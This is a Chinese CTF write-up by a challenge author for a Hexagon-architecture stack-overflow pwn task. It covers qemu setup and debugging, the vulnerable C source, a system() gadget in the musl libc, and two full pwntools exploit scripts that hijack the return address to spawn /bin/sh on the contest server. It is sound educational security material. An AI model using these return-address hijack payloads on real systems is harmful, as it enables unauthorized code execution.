0x00 前记
大佬们轻点喷qaq
这是一道hexagon架构的pwn题,比较冷门,但漏洞很简单就是一个栈溢出。第一次见hexagon架构的pwn题是在2024年的geekctf上,具体关于hexagon程序运行、调试、栈迁移打法复现,可以看我的这篇博客(如果你是在做题的时候现学查到的先知那篇文章,没错那也是我的)下面也会讲到,这篇文章里其实还记录了新利用的发现,但是在比赛期间被我锁上了。
鉴于VNCTF是招新赛,也算是半个新生赛了(确信),所以题目难度降了又降。从一开始的极少栈空间,到给多一定栈空间可以有机会通过多次栈迁移攻击,到最后连log都给出来了,免去了选手爆破栈地址的痛苦,十个左右的解是符合预期的。
所以这道题总共有两种解法,虽然我很希望有选手能够通过除了栈迁移之外的打法做出这道题,但是遗憾的的是似乎大家都参照了先知的文章用栈迁移打通的。栈迁移打法的脚本在文章最后。
0x01 程序运行与调试
- 首先qemu-user的安装是有必要的,里面包含了qemu-hexagon,这是程序运行的基础设施
- 第二步是将libc链接到/lib里
sudo ln -sf libc.so /lib/ld-musl-hexagon.so.1
- 第三步运行程序qemu-hexagon ./main就能运行起来了
- 调试程序实测gdb-mutilarch用不了,所以建议不折腾用qemu本身的调试功能来调试,这里给出其中一种信息较详细的调试命令
qemu-hexagon -L libc -d in_asm,exec,cpu,page,nochain -singlestep -dfilter 0x20420+0xc0 -strace -D ./log ./main
- 题目没给出源码,如果要在IDA反汇编看代码,需要借助插件
0x02 源码
按照国际惯例先给出源码,其实也非常简单
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| #include <stdio.h> #include <stdlib.h> #include <unistd.h>
void vuln() { char vul_buf[8]; volatile int pad; volatile int key; scanf("%d", &key); read(0, vul_buf, 16); system("cat /home/ctf/log"); }
int main() { setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); puts("Welcome back, hexagon player!"); vuln(); return 0; }
|
0x03 新的利用方式
这可能并不能是新的利用方式,毕竟这种形式的类ogg在各个libc里都挺常见的,只是用的比较少。但至少在hexagon架构里有一定好处,hexagon的指令集中是没有pop和push的,所以不能像x86_64那样构造ROP直接控制寄存器,而是要通过栈(迁移)来控制寄存器。在栈容量较小的时候还是太吃操作了,主包还有没有更简单的方法。有的兄弟有的。
我们在libc.so中先找到/bin/sh,然后看他的引用,跳到system函数上,可以看到:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| .text:000BE7C0 { r3 = memw(fp + #var_42C) } .text:000BE7C4 { r0 = add(pc, ##aSh@pcrel) } // "sh" .text:000BE7CC { memw(fp + #var_420) = r0 } .text:000BE7D0 { r0 = add(pc, ##aC_0@pcrel) } // "-c" .text:000BE7D8 { memw(fp + #var_41C) = r0 } .text:000BE7DC { r0 = memw(fp + #var_10) } .text:000BE7E0 { memw(fp + #var_418) = r0 } .text:000BE7E4 { r2 = #0 } .text:000BE7E8 { memw(fp + #var_414) = r2 } .text:000BE7EC { r0 = add(pc, ##_GLOBAL_OFFSET_TABLE_@pcrel) } .text:000BE7F4 { r0 = memw(r0 + ##-0x102F4) } .text:000BE7FC { r5 = memw(r0) } .text:000BE800 { r1 = add(pc, ##aBinSh@pcrel) } // "/bin/sh" .text:000BE808 { r0 = add(fp, #-0x14) } .text:000BE80C { r4 = add(fp, #-0x420) } .text:000BE810 { call posix_spawn } .text:000BE818 { r1 = r0 } .text:000BE81C { r0 = memw(fp + #var_42C) } .text:000BE820 { memw(fp + #var_2C0) = r1 } .text:000BE824 { call posix_spawnattr_destroy } .text:000BE82C { r0 = memw(fp + #var_2C0) } .text:000BE830 { p0 = cmp.eq(r0, #0) } .text:000BE834 { p0 = not(p0) } .text:000BE838 { if (p0) jump loc_BE8A4 } .text:000BE83C { jump loc_BE840 } .text:000BE840 // --------------------------------------------------------------------------- .text:000BE840 .text:000BE840 loc_BE840: // CODE XREF: system+1CC↑j .text:000BE840 { jump loc_BE844 } .text:000BE844 // --------------------------------------------------------------------------- .text:000BE844 .text:000BE844 loc_BE844: // CODE XREF: system:loc_BE840↑j .text:000BE844 // system:loc_BE89C↓j .text:000BE844 { r0 = memw(fp + #var_14) } .text:000BE848 { r1 = add(fp, #-0x2BC) } .text:000BE84C { r2 = #0 } .text:000BE850 { call waitpid }
|
其实就是system函数执行命令的逻辑是/bin/sh -c xxxx
,而这个xxxx命令会从fp-0x10中取。那么我只需要满足以下三点就能执行/bin/sh -c /bin/sh
了
- 栈上写0x3FED19F7(libcbase=0x3FEC0000,则0x3FED19F7是/bin/sh字符串)
- 控制好fp(类似rbp寄存器)使得[fp-0x10]精准命中栈上的0x3FED19F7
- 劫持返回地址为libcbase+0xBE7C0,也就是上面这个gadget的开始(不同版本的libc偏移可能存在差异)
也就是说我们只需要得知栈地址和libc地址就能轻松getshell,而这两个地址在qemu环境下一点也不难得知,更何况本题给出了log,log中记载了当次程序运行的所有系统调用情况,我们通过查看read调用就能找到栈地址。libc地址同理,有很多方法可以获取。这样的方法免去了调试栈迁移的痛苦。
hexagon这道题其实有点就题出题的意思在里面,给了scanf就是为了给选手输入0x3FED19F7到[fp-0x10]的(赤裸裸的明示)。实际上只要题目能够输入4*3字节并能覆盖fp和返回地址,就能使用这种方法getshell,或者执行其他命令。
0x04 EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| from pwn import *
r = remote('node.vnteam.cn', 43815) context(os='linux', log_level='debug') libc = ELF('./libc.so')
stack = 0x4080e9d8 libc_base = 0x3FEC0000 binsh = libc_base+0x119f7
r.recv() r.sendline(str(binsh).encode())
payload = p32(0)*2 + p32(stack+8)+p32(libc_base+0xBE7C0) r.send(payload)
r.interactive()
|
0x05 栈迁移方法的EXP
出题人最近比较忙所以直接贴出本题一血的栈迁移脚本。绝对不是因为出题人懒哟。绝对不是哟。
为了不误导大家,脚本中原先存在的部分注释被删掉了,请大家自行调试。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85
| from pwn import * from LibcSearcher import * from ae64 import AE64 from ctypes import cdll
filename = './main' context.arch='amd64' context.log_level = "debug" context.terminal = ['tmux', 'neww'] local = 0 all_logs = [] elf = ELF(filename) libc = ELF('./libc.so')
if local: sh = process(['qemu-hexagon', '-L', 'libc', '-d', 'in_asm,exec,cpu,nochain', '-singlestep', '-dfilter', '0x20460+0x40', '-strace', '-D', './log', './main']) else: sh = remote('node.vnteam.cn', 47998)
def debug(params=''): for an_log in all_logs: success(an_log) pid = util.proc.pidof(sh)[0] gdb.attach(pid, params) pause()
def leak_info(name, addr): output_log = '{} => {}'.format(name, hex(addr)) all_logs.append(output_log) success(output_log)
stack_addr = 0x4080f1c8 libc_base= 0x3FEC0000 gadget1 = 0x20534 gadget2 = libc_base + 0xDB2CC gadget3 = libc_base + 0x54630 ret = 0x20538 bss = 0x406d0 bss = stack_addr target = 0x1039E call_system = 0x2048C
payload = str(0x1000) sh.sendlineafter('Welcome back, hexagon player!\n', payload)
payload = b'a'*8 + p32(bss+8) + p32(0x20474) sh.send(payload)
payload = b'a'*8 + p32(bss-0x30+8) + p32(0x20474) sh.send(payload)
payload = b'/bin/sh\x00' + p32(bss-0x20+0x8) + p32(0x20474) sh.send(payload)
payload = p32(0x4080f198) + b'bbbb' + p32(bss-0x10+0x8) + p32(0x20474) sh.send(payload)
payload = b'sh\x00\x00' + p32(0x2048C) + p32(bss-0x10) + p32(gadget3) sh.send(payload)
sh.interactive()
|